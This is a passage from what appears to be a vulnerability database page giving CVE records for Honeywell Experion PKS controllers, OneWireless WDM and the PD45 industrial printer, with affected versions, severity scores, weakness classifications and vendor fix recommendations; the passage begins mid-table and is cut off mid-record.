| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | Wireless Device Manager |
Affected:
322.1 , ≤ 322.4
(semver)
Affected: 330.1 , ≤ 330.3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-2521",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:33:41.946048Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:33:49.166Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"OneWireless"
],
"product": "Wireless Device Manager",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "322.4",
"status": "affected",
"version": "322.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "330.3",
"status": "affected",
"version": "330.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe Honeywell Experion PKS and OneWireless WDM contains a Memory Buffer vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to an Overread Buffers, which could result in improper index validation against buffer borders leading to remote code execution.\u003c/p\u003e\u003cp\u003eHoneywell recommends updating to the most recent version of Honeywell Experion PKS:\n\n520.2 TCU9 HF1 and\u0026nbsp;530.1 TCU3 HF1 and OneWireless:\u0026nbsp;322.5 and 331.1.\u003c/p\u003e\u003cp\u003e\u003cbr\u003eThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.\u003c/p\u003e"
}
],
"value": "The Honeywell Experion PKS and OneWireless WDM contains a Memory Buffer vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to an Overread Buffers, which could result in improper index validation against buffer borders leading to remote code execution.\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:\n\n520.2 TCU9 HF1 and\u00a0530.1 TCU3 HF1 and OneWireless:\u00a0322.5 and 331.1.\n\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3."
}
],
"impacts": [
{
"capecId": "CAPEC-540",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-540 Overread Buffers"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-119",
"description": "CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:44:27.744Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Lack of indexes\u2019 validation against buffer borders leads to remote code execution.",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-2521",
"datePublished": "2025-07-10T20:08:04.077Z",
"dateReserved": "2025-03-19T13:57:29.165Z",
"dateUpdated": "2025-08-04T19:44:27.744Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-2520 (GCVE-0-2025-2520)
Vulnerability from nvd – Published: 2025-07-10 19:54 – Updated: 2025-08-04 19:44
VLAI
EPSS
VEX
Title
Dereferencing of an uninitialized pointer leads to denial of service.
Summary
The Honeywell Experion PKS contains an Uninitialized Variable in the common Epic Platform Analyzer (EPA) communications. An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which results in a dereferencing of an uninitialized pointer leading to a denial of service.
Honeywell recommends updating to the most recent version of
Honeywell Experion PKS: 520.2 TCU9 HF1and 530.1 TCU3 HF1. The affected Experion PKS products are
C300 PCNT02, EHB, EHPM, ELMM, Classic ENIM, ETN, FIM4, FIM8, PGM, and RFIM. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:33 UTC
CWE
- CWE-457 - Use of Uninitialized Variable
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | EHB |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | EHPM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | ELMM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | Classic ENIM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | ETN |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | PGM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | RFIM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-2520",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:33:19.670618Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:33:30.482Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "EHB",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "EHPM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "ELMM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "Classic ENIM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "ETN",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "PGM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "RFIM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe Honeywell Experion PKS contains an \u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eUninitialized Variable i\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003en the common Epic Platform Analyzer (EPA) communications\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e. An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which results in a d\u003c/span\u003eereferencing of an uninitialized pointer leading to a denial of service.\u003cbr\u003e\u003cbr\u003e\n\nHoneywell recommends updating to the most recent version of \n\nHoneywell Experion PKS: 520.2 TCU9 HF1and\u0026nbsp;530.1 TCU3 HF1.\u0026nbsp;\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe affected Experion PKS products are \n\nC300 PCNT02, EHB, EHPM, ELMM, Classic ENIM, ETN, FIM4, FIM8, PGM, and RFIM. The Experion PKS versions affected are\u0026nbsp;from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.\u003c/span\u003e\u003cbr\u003e"
}
],
"value": "The Honeywell Experion PKS contains an Uninitialized Variable in the common Epic Platform Analyzer (EPA) communications. An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which results in a dereferencing of an uninitialized pointer leading to a denial of service.\n\n\n\nHoneywell recommends updating to the most recent version of \n\nHoneywell Experion PKS: 520.2 TCU9 HF1and\u00a0530.1 TCU3 HF1.\u00a0The affected Experion PKS products are \n\nC300 PCNT02, EHB, EHPM, ELMM, Classic ENIM, ETN, FIM4, FIM8, PGM, and RFIM. The Experion PKS versions affected are\u00a0from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3."
}
],
"impacts": [
{
"capecId": "CAPEC-216",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-216 Communication Channel Manipulation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-457",
"description": "CWE-457 Use of Uninitialized Variable",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:44:48.506Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Dereferencing of an uninitialized pointer leads to denial of service.",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-2520",
"datePublished": "2025-07-10T19:54:35.250Z",
"dateReserved": "2025-03-19T13:57:27.868Z",
"dateUpdated": "2025-08-04T19:44:48.506Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2026-13248 (GCVE-0-2026-13248)
Vulnerability from cvelistv5 – Published: 2026-09-24 18:27 – Updated: 2026-09-24 19:19
VLAI
EPSS
VEX
Title
Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface
Summary
An Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040, allows an authenticated user with access to the admin or itadmin account to submit commands written in the Intermec Fingerprint programming language directly to the printer ’s internal command interpreter.
An attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.
Severity
8.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-24 19:19 UTC
CWE
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | PD45 Industrial Printer |
Affected:
F10.19.010040 , < F10.22.030745
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-13248",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-24T19:19:35.275464Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-24T19:19:53.714Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "PD45 Industrial Printer",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "F10.22.030745",
"status": "affected",
"version": "F10.19.010040",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matheus Vianna Silveira"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040,\u0026nbsp;\u003cspan\u003eallows\u0026nbsp;\u003c/span\u003e\u003cspan\u003ean\u0026nbsp;\u003c/span\u003e\u003cspan\u003eauthenticated\u0026nbsp;\u003c/span\u003e\u003cspan\u003euser\u0026nbsp;\u003c/span\u003e\u003cspan\u003ewith\u0026nbsp;\u003c/span\u003e\u003cspan\u003eaccess\u0026nbsp;\u003c/span\u003e\u003cspan\u003eto\u0026nbsp;\u003c/span\u003e\u003cspan\u003ethe\u0026nbsp;\u003c/span\u003e\u003cspan\u003eadmin\u0026nbsp;\u003c/span\u003e\u003cspan\u003eor\u0026nbsp;\u003c/span\u003e\u003cspan\u003eitadmin\u0026nbsp;\u003c/span\u003e\u003cspan\u003eaccount\u0026nbsp;\u003c/span\u003e\u003cspan\u003eto\u0026nbsp;\u003c/span\u003e\u003cspan\u003esubmit\u0026nbsp;\u003c/span\u003e\u003cspan\u003ecommands\u0026nbsp;\u003c/span\u003e\u003cspan\u003ewritten\u0026nbsp;\u003c/span\u003e\u003cspan\u003ein\u0026nbsp;\u003c/span\u003e\u003cspan\u003ethe\u0026nbsp;\u003c/span\u003e\u003cspan\u003eIntermec\u0026nbsp;\u003c/span\u003e\u003cspan\u003eFingerprint\u0026nbsp;\u003c/span\u003e\u003cspan\u003eprogramming\u0026nbsp;\u003c/span\u003e\u003cspan\u003elanguage\u0026nbsp;\u003c/span\u003e\u003cspan\u003edirectly\u0026nbsp;\u003c/span\u003e\u003cspan\u003eto\u0026nbsp;\u003c/span\u003e\u003cspan\u003ethe\u0026nbsp;\u003c/span\u003e\u003cspan\u003eprinter\u0026nbsp;\u003c/span\u003e\u003cspan\u003e\u2019s\u0026nbsp;\u003c/span\u003e\u003cspan\u003einternal\u0026nbsp;\u003c/span\u003e\u003cspan\u003ecommand\u0026nbsp;\u003c/span\u003e\u003cspan\u003einterpreter\u003c/span\u003e\u003cspan\u003e.\u0026nbsp;\u003c/span\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003e\u003cdiv\u003e\u003cdiv\u003e\u003cdiv\u003eAn attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.\u003c/div\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cbr\u003e\u003c/div\u003e\u003c/div\u003e"
}
],
"value": "An Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040,\u00a0allows\u00a0an\u00a0authenticated\u00a0user\u00a0with\u00a0access\u00a0to\u00a0the\u00a0admin\u00a0or\u00a0itadmin\u00a0account\u00a0to\u00a0submit\u00a0commands\u00a0written\u00a0in\u00a0the\u00a0Intermec\u00a0Fingerprint\u00a0programming\u00a0language\u00a0directly\u00a0to\u00a0the\u00a0printer\u00a0\u2019s\u00a0internal\u00a0command\u00a0interpreter.\u00a0\n\n\nAn attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability."
}
],
"impacts": [
{
"capecId": "CAPEC-17",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-17 Using Malicious Files"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73 External control of file name or path",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-434",
"description": "CWE-434 Unrestricted upload of file with dangerous type",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper neutralization of special elements used in an OS command (\u0027OS command injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-24T18:27:33.569Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://www.honeywell.com/us/en/legal/product-security#security-notices"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface",
"x_generator": {
"engine": "Vulnogram 1.0.5"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2026-13248",
"datePublished": "2026-09-24T18:27:33.569Z",
"dateReserved": "2026-06-24T18:04:28.287Z",
"dateUpdated": "2026-09-24T19:19:53.714Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-13249 (GCVE-0-2026-13249)
Vulnerability from cvelistv5 – Published: 2026-09-24 18:24 – Updated: 2026-09-24 18:38
VLAI
EPSS
VEX
Title
Unauthenticated RCE Arbitrary File Upload Honeywell PD45 Industrial Printer version F10.19.010040
Summary
An unauthenticated Remote Code Execution via Arbitrary File Upload vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040, allows upload of attacker controlled files without requiring authentication.
An attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.
Severity
9.8 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-24 18:37 UTC
CWE
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | PD45 Industrial Printer |
Affected:
F10.19.010040 , < F10.22.030745
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-13249",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-24T18:37:57.888525Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-24T18:38:06.812Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "PD45 Industrial Printer",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "F10.22.030745",
"status": "affected",
"version": "F10.19.010040",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matheus Vianna Silveira"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An unauthenticated Remote Code Execution via Arbitrary File Upload vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040, allows upload of attacker controlled files without requiring authentication.\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003e\u003cdiv\u003e\u003cdiv\u003eAn attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.\u003c/div\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003c/div\u003e"
}
],
"value": "An unauthenticated Remote Code Execution via Arbitrary File Upload vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040, allows upload of attacker controlled files without requiring authentication.\n\n\nAn attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability."
}
],
"impacts": [
{
"capecId": "CAPEC-17",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-17 Using Malicious Files"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
